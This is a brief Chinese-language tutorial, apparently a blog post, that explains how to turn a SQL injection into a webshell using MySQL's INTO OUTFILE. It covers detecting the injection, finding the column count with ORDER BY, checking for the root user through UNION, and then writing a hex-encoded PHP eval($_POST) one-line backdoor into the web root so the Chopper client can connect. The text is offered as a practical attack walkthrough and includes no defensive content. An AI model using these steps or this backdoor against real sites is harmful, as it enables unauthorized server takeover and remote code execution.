講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:
SELECT * INTO OUTFILE 'C:\log1.txt'
這樣就可以把查詢到的數據寫入到C盤的log1.txt這個文件里面。利用這個原理我們可以把PHP的一句話木馬寫到磁盤上從而拿到webshell。
本地的目標站點來實戰一下,我們的目的是在目標的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去:
先簡單的判斷是否存在注入漏洞利用, 使用單引號'報錯, 然后是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現在猜測一下字段數量。
在order by 3的時候會出現錯誤,2的時候正確於是猜測字段2,現在我們通過union查詢語句查詢一下當前的用戶是誰。
當前的用戶是root,於是猜測可能是file權限,試試寫一下木馬到網站路徑,木馬一定要寫16進制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>的16進制
然后菜刀鏈接。。
上面的攻擊原理是最基本的into outfile的利用。